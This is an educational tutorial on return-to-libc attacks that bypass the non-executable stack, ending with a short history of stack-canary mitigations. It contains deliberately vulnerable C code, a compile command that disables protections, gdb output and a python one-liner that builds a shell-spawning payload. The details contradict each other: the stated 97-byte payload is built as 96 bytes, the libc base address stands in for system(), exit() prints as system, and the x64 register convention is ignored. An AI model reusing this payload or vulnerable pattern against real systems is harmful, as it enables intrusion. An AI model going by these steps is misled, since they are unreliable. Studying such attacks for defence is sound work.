Introduction
The NX (no-execute) bit can be bypassed using Ret2Libc (return-to-libc) attacks, where the attacker avoids injecting new code and instead redirects execution to existing functions in shared libraries.
Prerequisites
Where It Started
In 1997: Just a few months after introducing the non-executable (NX) stack, Solar Designer (Alexander Peslyak) himself described a new attack that allows attackers to bypass a non-executable stack.
References
The Concept
Instead of executing code on the stack, we constructs a fake call stack using existing library addresses. This diverts execution to a library function (usually the C library) upon return, giving the attack its name: return-into-libc.
On x64 systems, the first arguments are passed via registers, not the stack. This adds complexity because you must use gadgets to move your arguments into the correct places. We'll cover this in future articles. For now, we'll ignore this and assume arguments are on the stack.
If you forget how the stack frame works, you can always return to the Owning Memory: Understanding the Stack Frame article for a quick refresher.
Proof of Concept - Method 1: Before the Return Address
The Vulnerable Code
#include <stdio.h>
void func(void)
{
char buffer[64];
printf("Input: ");
fgets(buffer, 128, stdin); // Vulnerability: reads 128 bytes into 64-byte buffer
}
int main(void)
{
func();
return 0;
}
Compilation
gcc demo.c -o demo.bin -no-pie -fno-stack-protector -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0 -Wl,-z,norelro -z noexecstack -Wno-stringop-overflow -Wno-stringop-overread -O0 -g
Creating a Payload
First, we need to find the space available between the buffer address and the return address.
gdb ./demo.bin # Launch gdb
(gdb) break func # Break at func
(gdb) run # Run the program
(gdb) info registers # Print registers
[...]
rbp 0x7fffffffd9d0 0x7fffffffd9d0 // Stack frame base pointer
rsp 0x7fffffffd990 0x7fffffffd990 // Stack frame stack pointer
[...]
(gdb) print &buffer # Print the buffer address
$1 = (char (*)[64]) 0x7fffffffd990
We will not cover memory alignment in this article, but in our case, the buffer is exactly 64 bytes, so there is no extra padding in this stack frame.
Here, the stack pointer (rsp) is the same as the buffer address. Effectively, the buffer sits at the top of the stack frame.
You can also determine the approximate offset by fuzzing the input length. The character count at the point of the first
SIGSEGVroughly aligns with the buffer size plus the saved frame pointer.
Below is a representation of the memory layout. We can calculate the addresses ourselves, determining that our payload must be exactly 97 bytes long.
Finding the libc
(gdb) print system // print system() address
$1 = {<text variable, no debug info>} XXXX <system>
(gdb) print exit // print exit() address
$1 = {<text variable, no debug info>} XXXX <system>
Finding the argument
(gdb) info proc map // Find the libc address
0x7ffff7a1c000 0x7ffff7bd2000 0x1b6000 0x0 /usr/lib64/libc-2.17.so
(gdb) find 0x7ffff7a1c000,0x7ffff7bd2000,"/bin/sh" // Find the wanted argument address
0x7ffff7b98489
You can also set an environment variable to retrieve the argument if the desired one isn’t available in the program.
Payload
We can then start building our payload in the same format as in the previous diagram.
Anything + Address of system() + Address of exit() + Address of /bin/sh
It is not mandatory to set a valid return address (e.g.,
exit()), it is simply cleaner.
python3 -c "import sys, struct; sys.stdout.buffer.write(b'A'*72 + struct.pack('<Q', 0x7ffff7a1c000) + struct.pack('<Q', 0xdeadbeef) + struct.pack('<Q', 0x7ffff7b98489))" > payload.bin
(gdb) run < payload.bin
Starting program: /usr/bin/dash < payload.bin
Mitigations
In January 1998: To mitigate buffer overflows, Cowan et al. proposed placing a guard value (canary) between the stack buffers and the return address, any modification to this value indicates corruption, triggering an alert.
"A few months later, in January 1998, Cowan et al. proposed placing specific patterns (canaries) between stack variables and a function’s return address to detect corruptions of the latter."
Sources:
- Cowan, C., Pu, C., Maier, D., Hintongif, H., Walpole, J., Bakke, P., Beattie, S., Grier, A., Wagle, P., Zhang, Q.: StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks. In: Proceedings of the 7th USENIX Security Symposium. (Jan. 1998)
- Victor van der Veen, Nitish Dutt-Sharma, Lorenzo Cavallaro, Herbert Bos, "Memory Errors: The Past, the Present, and the Future"
- Mohamed (Tarek Ibn Ziad) Hassan, "Why is memory safety still a concern?", April 9, 2020